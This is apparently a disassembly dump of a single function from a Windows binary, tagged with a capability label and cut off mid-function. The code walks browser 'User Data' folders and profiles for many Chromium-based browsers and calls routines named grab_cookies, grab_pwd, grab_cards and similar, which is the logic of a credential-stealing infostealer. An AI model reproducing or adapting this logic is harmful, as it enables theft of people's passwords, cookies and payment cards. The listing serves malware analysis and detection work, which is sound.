Function at 0x140018050
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rbp + 0x650], rax
lea rcx, str.Chromium_n
call fcn.1400029d0
mov rcx, qword [0x1400eddf0]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
sub rax, rcx
cmp rax, 0x10
jb 0x14001a510
lea rdi, [0x1400edde0]
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x10
lea rax, str._Amigo_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x410]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x10
jb 0x14001a516
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x10
lea rax, str._Torch_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x430]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x11
jb 0x14001a51c
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x11
lea rax, str._Kometa_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x450]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x12
jb 0x14001a522
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x12
lea rax, str._Orbitum_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x470]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x16
jb 0x14001a528
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x16
lea rax, str._CentBrowser_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x490]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x16
jb 0x14001a52e
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x16
lea rax, str._7Star_7Star_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x4b0]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x1a
jb 0x14001a534
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x1a
lea rax, str._Sputnik_Sputnik_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x4d0]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x12
jb 0x14001a53a
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x12
lea rax, str._Vivaldi_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x4f0]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x1c
jb 0x14001a540
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x1c
lea rax, str._Google_Chrome_SxS_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x510]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x18
jb 0x14001a546
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x18
lea rax, str._Google_Chrome_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x530]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x1f
jb 0x14001a54c
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x1f
lea rax, str._Epic_Privacy_Browser_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x550]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x19
jb 0x14001a552
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x19
lea rax, str._Microsoft_Edge_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x570]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x19
jb 0x14001a558
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x19
lea rax, str._uCozMedia_Uran_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x590]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x1f
jb 0x14001a55e
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x1f
lea rax, str._Yandex_YandexBrowser_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x5b0]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x26
jb 0x14001a564
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x26
lea rax, str._BraveSoftware_Brave_Browser_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x5d0]
call fcn.14002d660
nop
mov rcx, qword [0x1400eddf0]
mov rax, rbx
sub rax, rcx
cmp rax, 0x12
jb 0x14001a56a
mov r9, rdi
cmp qword [0x1400eddf8], 0x10
cmovae r9, qword [0x1400edde0]
mov qword [rsp + 0x30], 0x12
lea rax, str._Iridium_User_Data
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x5f0]
call fcn.14002d660
nop
mov rcx, qword [0x1400ede10]
mov rax, rbx
sub rax, rcx
cmp rax, 0x1f
jb 0x14001a570
lea rdi, [0x1400ede00]
mov r9, rdi
cmp qword [0x1400ede18], 0x10
cmovae r9, qword [0x1400ede00]
mov qword [rsp + 0x30], 0x1f
lea rax, str._Opera_Software_Opera_GX_Stable
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x610]
call fcn.14002d660
nop
mov rcx, qword [0x1400ede10]
mov rax, rbx
sub rax, rcx
cmp rax, 0x1c
jb 0x14001a576
mov r9, rdi
cmp qword [0x1400ede18], 0x10
cmovae r9, qword [0x1400ede00]
mov qword [rsp + 0x30], 0x1c
lea rax, str._Opera_Software_Opera_Stable
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x630]
call fcn.14002d660
nop
xor r14d, r14d
mov qword [rbp + 0x350], r14
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x360], xmm0
mov byte [rbp + 0x350], r14b
lea r8d, [r14 + 7]
lea rdx, str.Default
lea rcx, [rbp + 0x350]
call fcn.1400218a0
nop
mov qword [rbp + 0x370], r14
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x380], xmm0
mov byte [rbp + 0x370], r14b
lea r8d, [r14 + 9]
lea rdx, str.Profile_1
lea rcx, [rbp + 0x370]
call fcn.1400218a0
nop
mov qword [rbp + 0x390], r14
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x3a0], xmm0
mov byte [rbp + 0x390], r14b
lea r8d, [r14 + 9]
lea rdx, str.Profile_2
lea rcx, [rbp + 0x390]
call fcn.1400218a0
nop
mov qword [rbp + 0x3b0], r14
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x3c0], xmm0
mov byte [rbp + 0x3b0], r14b
lea r8d, [r14 + 9]
lea rdx, str.Profile_3
lea rcx, [rbp + 0x3b0]
call fcn.1400218a0
nop
mov qword [rbp + 0x3d0], r14
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3d0], r14b
lea r8d, [r14 + 9]
lea rdx, str.Profile_4
lea rcx, [rbp + 0x3d0]
call fcn.1400218a0
nop
mov qword [rbp + 0x3f0], r14
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x400], xmm0
mov byte [rbp + 0x3f0], r14b
lea r8d, [r14 + 9]
lea rdx, str.Profile_5
lea rcx, [rbp + 0x3f0]
call fcn.1400218a0
nop
mov qword [rbp + 0x240], r14
mov qword [rbp + 0x250], r14
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], r14b
lea rcx, [rbp + 0x1e0]
cmp byte [0x1400e8e20], r14b
je 0x140018904
call fcn.140057350
nop
lea r8, [0x1400e9280]
cmp qword [0x1400e9298], 0x10
cmovae r8, qword [0x1400e9280]
mov r9, qword [0x1400e9290]
xor edx, edx
mov rcx, rax
call fcn.14002d980
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm1
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140018a43
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018a3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a50a
jmp 0x140018a3e
call fcn.140057350
nop
mov r9d, 9
lea r8, str.C:_Users_
xor edx, edx
mov rcx, rax
call fcn.14002d980
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1b8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400e9220]
cmp qword [0x1400e9238], 0x10
cmovae rdx, qword [0x1400e9220]
mov r8, qword [0x1400e9230]
lea rcx, [rbp + 0x1a0]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm1
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x1400189e9
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400189e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a57c
call fcn.140080f50
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140018a43
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018a3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a582
call fcn.140080f50
mov rax, rbx
mov rcx, qword [rbp + 0x250]
sub rax, rcx
cmp rax, 0x11
jb 0x14001a588
lea r9, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae r9, qword [rbp + 0x240]
mov qword [rsp + 0x30], 0x11
lea rax, str._browsers_Pasword
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x240]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1e0]
call fcn.14002d660
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x140018ae4
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018adf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a58e
call fcn.140080f50
movups xmm0, xmmword [rbp + 0x1e0]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rbp + 0x1f0]
movups xmmword [rbp + 0x250], xmm1
lea rdx, [rbp + 0x240]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [0x1400ede20]
call fcn.1400218a0
lea rcx, [0x1400ede20]
cmp qword [0x1400ede38], 0x10
cmovae rcx, qword [0x1400ede20]
call fcn.14009939c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
lea rcx, [rbp + 0x2a0]
call fcn.140015c10
nop
mov edi, r14d
mov rcx, qword [rbp + 0x2a8]
mov rbx, qword [rbp + 0x2a0]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
mov rsi, rdx
sar rsi, 4
mov rax, rsi
shr rax, 0x3f
add rsi, rax
je 0x140018be3
add rbx, 0x40
nop word [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140018bbd
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [0x1400ec5f0]
call fcn.14002fa00
mov rcx, rax
call fcn.1400262c0
inc edi
add rbx, 0x60
movsxd rax, edi
cmp rax, rsi
jb 0x140018bb0
mov r13, r14
mov qword [rbp], r14
movzx edi, byte [rsp + 0x50]
movzx ebx, byte [rsp + 0x50]
movzx esi, byte [rsp + 0x50]
nop dword [rax]
mov r14, r13
shl r14, 5
lea r12, [rbp + 0x410]
add r12, r14
mov qword [rbp + 8], r12
mov rdx, r12
lea rcx, [rbp + 0x220]
call fcn.14002f5c0
nop
lea rcx, [rbp + 0x220]
call fcn.1400044e0
movzx r15d, al
mov rdx, qword [rbp + 0x238]
cmp rdx, 8
jb 0x140018c7b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a59a
call fcn.140080f50
test r15b, r15b
je 0x14001a3c5
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x140018c93
mov rdx, qword [r12]
lea rcx, [0x1400d0b84]
call fcn.1400029d0
mov rdx, r12
lea rcx, [rbp + 0x18]
call fcn.14001f140
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.1400058d0
nop
lea rax, [0x1400e8f00]
add r14, rax
mov qword [rbp - 8], r14
mov rcx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140018cd6
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 9
jne 0x140018cf7
mov r8d, 9
lea rdx, str._Opera_GX
call fcn.140088400
test eax, eax
jne 0x140018cf7
mov al, 1
jmp 0x140018cf9
xor al, al
test al, al
je 0x1400198c7
mov rdx, r12
lea rcx, [rbp + 0x220]
call fcn.14002f5c0
nop
lea rcx, [rbp + 0x220]
call fcn.1400044e0
movzx r15d, al
mov rdx, qword [rbp + 0x238]
cmp rdx, 8
jb 0x140018d67
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018d62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5a0
call fcn.140080f50
test r15b, r15b
je 0x1400198bb
mov rcx, qword [0x1400ede30]
mov rdx, qword [r14 + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, rdx
jb 0x14001a606
lea r9, [0x1400ede20]
cmp qword [0x1400ede38], 0x10
cmovae r9, qword [0x1400ede20]
mov rax, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140018db5
mov rax, qword [r14]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1400ede20]
movzx edx, dil
lea rcx, [rbp + 0x220]
call fcn.14002d660
nop
lea rcx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0x10
cmovae rcx, qword [rbp + 0x220]
call fcn.14009939c
lea rdx, str.grab_cookies
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
xor r15d, r15d
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rsp + 0x58]
call fcn.1400218a0
nop
lea rax, [rbp - 0x30]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
lea r13, [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
mov qword [rbp - 0x70], rax
cmp qword [rbp + 0x1b8], 0x10
cmovae r13, rax
mov r14, qword [rbp + 0x1b0]
cmp r14, 0x10
jae 0x140018e9a
movups xmm0, xmmword [r13]
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x18], 0xf
jmp 0x140018f16
mov r15, r14
or r15, 0xf
movabs rax, 0x7fffffffffffffff
cmp r15, rax
cmova r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x140018eee
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001a5ac
mov rcx, rax
call fcn.140080f58
mov rcx, rax
test rax, rax
je 0x14001a5a6
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140018efc
test rcx, rcx
je 0x140018efa
call fcn.140080f58
jmp 0x140018efc
xor eax, eax
mov qword [rbp - 0x30], rax
lea r8, [r14 + 1]
mov rdx, r13
mov rcx, rax
call fcn.140087bb0
mov qword [rbp - 0x18], r15
xor r15d, r15d
mov qword [rbp - 0x20], r14
mov rdx, r12
lea rcx, [rbp + 0x1c0]
call fcn.14001f140
nop
lea r9, [rsp + 0x58]
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140006730
nop
lea rdx, str.grab_his
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp - 0x50]
call fcn.1400218a0
nop
mov rdx, r12
lea rcx, [rbp + 0x18]
call fcn.14001f140
nop
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [rbp + 0x2f8]
call fcn.140008910
nop
lea rdx, str.grab_dhis
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rsp + 0x58]
call fcn.1400218a0
nop
mov rdx, r12
lea rcx, [rbp + 0x1c0]
call fcn.14001f140
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.14000a150
nop
lea rdx, str.grab_book
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp - 0x50]
call fcn.1400218a0
nop
mov rdx, r12
lea rcx, [rbp + 0x18]
call fcn.14001f140
nop
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.14000f150
nop
lea rdx, str.grab_ext
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], rax
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rsp + 0x58]
call fcn.1400218a0
lea r8, [rsp + 0x58]
mov rdx, r12
lea rcx, [rbp + 0x330]
call fcn.140010eb0
nop
lea rdx, str.grab_misc
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x18]
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp + 0x18]
call fcn.1400218a0
nop
lea rax, [rbp - 0x30]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
lea r13, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae r13, qword [rbp - 0x70]
cmp r14, 0x10
jae 0x14001917a
movups xmm0, xmmword [r13]
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x18], 0xf
jmp 0x1400191f6
mov r15, r14
or r15, 0xf
movabs rax, 0x7fffffffffffffff
cmp r15, rax
cmova r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x1400191ce
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001a5b8
mov rcx, rax
call fcn.140080f58
mov rcx, rax
test rax, rax
je 0x14001a5b2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400191dc
test rcx, rcx
je 0x1400191da
call fcn.140080f58
jmp 0x1400191dc
xor eax, eax
mov qword [rbp - 0x30], rax
lea r8, [r14 + 1]
mov rdx, r13
mov rcx, rax
call fcn.140087bb0
mov qword [rbp - 0x18], r15
xor r15d, r15d
mov qword [rbp - 0x20], r14
mov rdx, r12
lea rcx, [rbp + 0x100]
call fcn.14001f140
nop
lea r9, [rbp + 0x18]
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.14000c9c0
nop
lea rdx, str.grab_pwd
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp + 0x1c0]
call fcn.1400218a0
nop
lea rax, [rbp - 0x50]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r15
lea r13, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae r13, qword [rbp - 0x70]
cmp r14, 0x10
jae 0x1400192ba
movups xmm0, xmmword [r13]
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], 0xf
jmp 0x140019336
mov r15, r14
or r15, 0xf
movabs rax, 0x7fffffffffffffff
cmp r15, rax
cmova r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x14001930e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001a5c4
mov rcx, rax
call fcn.140080f58
mov rcx, rax
test rax, rax
je 0x14001a5be
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001931c
test rcx, rcx
je 0x14001931a
call fcn.140080f58
jmp 0x14001931c
xor eax, eax
mov qword [rbp - 0x50], rax
lea r8, [r14 + 1]
mov rdx, r13
mov rcx, rax
call fcn.140087bb0
mov qword [rbp - 0x38], r15
xor r15d, r15d
mov qword [rbp - 0x40], r14
mov rdx, r12
lea rcx, [rbp + 0x120]
call fcn.14001f140
nop
lea r9, [rbp + 0x1c0]
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.1400128e0
nop
lea rdx, str.grab_write
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x18]
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp + 0x18]
call fcn.1400218a0
nop
lea rax, [rsp + 0x58]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
lea r13, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae r13, qword [rbp - 0x70]
cmp r14, 0x10
jae 0x1400193f4
movups xmm0, xmmword [r13]
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x70], 0xf
jmp 0x14001946f
mov r15, r14
or r15, 0xf
movabs rax, 0x7fffffffffffffff
cmp r15, rax
cmova r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x140019448
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001a5d0
mov rcx, rax
call fcn.140080f58
mov rcx, rax
test rax, rax
je 0x14001a5ca
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140019456
test rcx, rcx
je 0x140019454
call fcn.140080f58
jmp 0x140019456
xor eax, eax
mov qword [rsp + 0x58], rax
lea r8, [r14 + 1]
mov rdx, r13
mov rcx, rax
call fcn.140087bb0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x68], r14
mov rdx, r12
lea rcx, [rbp + 0x100]
call fcn.14001f140
nop
lea r9, [rbp + 0x18]
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.140014480
nop
lea rdx, str.grab_cards
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x120]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x120]
call fcn.14001f140
mov qword [rbp + 0x10], rax
lea rax, [rbp - 0x50]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp - 0x50]
call fcn.14001f140
mov qword [rbp + 8], rax
lea rax, [rbp + 0x140]
mov qword [rbp - 0x58], rax
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x140]
call fcn.14001f140
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x330]
lea rcx, [rbp - 0x30]
call fcn.14001c500
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0xc8], rax
lea rdx, [rbp + 0x280]
